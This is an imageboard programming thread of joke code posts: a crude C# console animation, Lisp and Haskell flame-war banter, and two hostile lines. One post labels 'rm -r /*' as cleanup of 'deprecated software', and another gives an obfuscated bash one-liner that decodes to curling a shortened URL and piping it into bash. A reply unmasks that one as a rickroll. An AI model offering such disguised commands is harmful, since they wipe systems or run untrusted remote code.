ITT: We post obscure code that bears entertaining results.Run this in .Net:[code] static void cocker() { Console.CursorVisible = false; Action<char, int> getit = (c, n) => {

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▶Anonymous 06/11/18 (Mon) 00:36:53 No.928455 [Watch Thread][Show All Posts]

ITT: We post obscure code that bears entertaining results.

Run this in .Net:


        static void cocker()
        {
            Console.CursorVisible = false;

            Action<char, int> getit = (c, n) =>
            {
                for (int i = 0; i < n; i++)
                {
                    Console.Write(c);
                }
            };

            var bally = (char)48;
            var seggy = (char)61;
            var belly = (char)68;
            var woodog = 10;
            var colors = Enum.GetValues(typeof(ConsoleColor))
                .Cast<ConsoleColor>().Where(c => c != ConsoleColor.Black && c != ConsoleColor.DarkBlue);

            while (true)
            {
                foreach (var color in colors)
                {
                    Console.ForegroundColor = color;
                    Console.CursorTop = 10;
                    Console.CursorLeft = (Console.BufferWidth / 2) - woodog / 2;

                    var cp = new { left = Console.CursorLeft, top = Console.CursorTop };

                    Console.CursorTop++;
                    getit(bally, 2);
                    Console.CursorTop = cp.top;
                    Console.CursorLeft = cp.left;

                    getit(seggy, 3);
                    getit(belly, 1);

                    int i = 0;

                    for (; i < woodog; i++)
                    {
                        Thread.Sleep((5 * i));
                        Console.CursorLeft--;
                        getit(seggy, 1);
                        getit(belly, 1);
                    }

                    for (; i > 1; i--)
                    {
                        Thread.Sleep((5 * i));
                        Console.CursorLeft = Console.CursorLeft - 2;
                        getit(belly, 1);
                        Console.Write(' ');
                        Console.CursorLeft--;
                    }

                    Console.Clear();
                }
            }
        }

▶Anonymous 06/11/18 (Mon) 01:14:59 No.928465>>928472


#line below gets rid of deprecated software 
rm -r /*

▶Anonymous 06/11/18 (Mon) 01:37:58 No.928472

>>928465

▶Anonymous 06/11/18 (Mon) 02:10:59 No.928488>>928489

Here is some good code in .NET:

▶Anonymous 06/11/18 (Mon) 02:13:20 No.928489>>928518

>>928488

Better than LISP

▶Anonymous 06/11/18 (Mon) 04:41:15 No.928515

What about a script that takes in a file and outputs a video that you can upload to youtube?

▶Anonymous 06/11/18 (Mon) 05:00:55 No.928518>>928522 >>928576 >>928589 >>928683 >>928887

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>>928489

Lisp is beautiful.

▶Anonymous 06/11/18 (Mon) 05:19:33 No.928522

>>928518

It looks like an ugly language, and it doesn't have as much facility as other languages. Even python is more useful than LISP tbh.

▶Anonymous 06/11/18 (Mon) 08:51:09 No.928576>>928581

>>928518

Well just use Haskell, you ugly piece of shit

▶Anonymous 06/11/18 (Mon) 09:02:18 No.928581>>928588

>>928576

Haskell is a worthless bondage and discipline language.

▶Anonymous 06/11/18 (Mon) 09:31:42 No.928588

>>928581

There is nothing wrong about Bondage and Discipline, it just makes it better.

Like Fifty shades of Grey.

▶Anonymous 06/11/18 (Mon) 09:41:59 No.928589>>928592

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>>928518

▶Anonymous 06/11/18 (Mon) 09:45:56 No.928592

>>928589

10/10

▶Anonymous 06/11/18 (Mon) 15:14:12 No.928667>>928674 >>928736

Bash one-liners thread? Bash one-liners thread!

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash

▶Anonymous 06/11/18 (Mon) 15:23:27 No.928674>>928858

>>928667

What is this?

▶Anonymous 06/11/18 (Mon) 15:46:12 No.928683>>928690

>>928518

>Long ago, ended up playing a game called Haven and Hearth

>Started with /tg/, but ended up getting separated because of reasons

>Eventually got reunited with them, but then got shuffled off to the goons because my wandering habits made me more useful as a thief than anything else, and /tg/ couldn't make use of me that way

>Goons had a custom client for the game that included a botting system

>It was based entirely on LISP

>Written by a caffeine-addled retard

>And maintained by a fucking Russian they'd picked up under equally dubious circumstances

>Most of the established functions only sort-of-halfway worked

>Ended up spending more time correcting issues with the bot scripting part of the client than actually playing the game

>The pair of Swedes that made the game ended up entirely redoing it, rendering all of my work obsolete because the custom client the goons had could no longer interface with the new version

Fucking Russians. Fucking goons. Fucking LISP.

▶Anonymous 06/11/18 (Mon) 16:34:19 No.928690>>928694

>>928683

>shitty programmer writes shitty code

cool story bro

▶Anonymous 06/11/18 (Mon) 16:56:49 No.928694>>928819 >>928882

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>>928690

I wasn't a coder prior to this. I'm still not, but I've learned to loathe the pointless parentheses-tracking I was constantly having to do with LISP. The real reason nobody makes anything of value with it is because all of the great LISP coders are still trying to figure out where they forgot to hit Shift-0.

▶Anonymous 06/11/18 (Mon) 18:12:07 No.928736>>928820 >>929935

>>928667

Piping shit into bash? Yeah, that's a fucking good idea:


$ echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L.
curl -sL http://bit.ly/10hA8iC
$ curl -sL http://bit.ly/10hA8iC | head
#!/bin/bash
# Rick Astley in your Terminal.
# By Serene Han and Justine Tunney <3
version='1.1'
rick='http://keroserene.net/lol'
video="$rick/astley80.full.bz2"
# TODO: I'll let someone with mac or windows machine send a pull request
# to get gsm going again :)
audio_gsm="$rick/roll.gsm"
audio_raw="$rick/roll.s16"

Yeah, nice fucking "one-liner". It literally downloads a bash program and runs it, and that bash program has an embedded python program that is loaded and run, and that python program actually does the work.

▶Anonymous 06/11/18 (Mon) 20:40:48 No.928819>>928882 >>928888

>>928694

Every self-respecting programmer's editor has a rainbow parens mode for LISP. That's a solved problem.

▶Anonymous 06/11/18 (Mon) 20:42:12 No.928820

>>928736

It's the effect that counts! :3

▶Anonymous 06/11/18 (Mon) 21:22:08 No.928858

>>928674

A command-line rickroll.

▶Anonymous 06/11/18 (Mon) 22:16:11 No.928882

>>928694

>>928819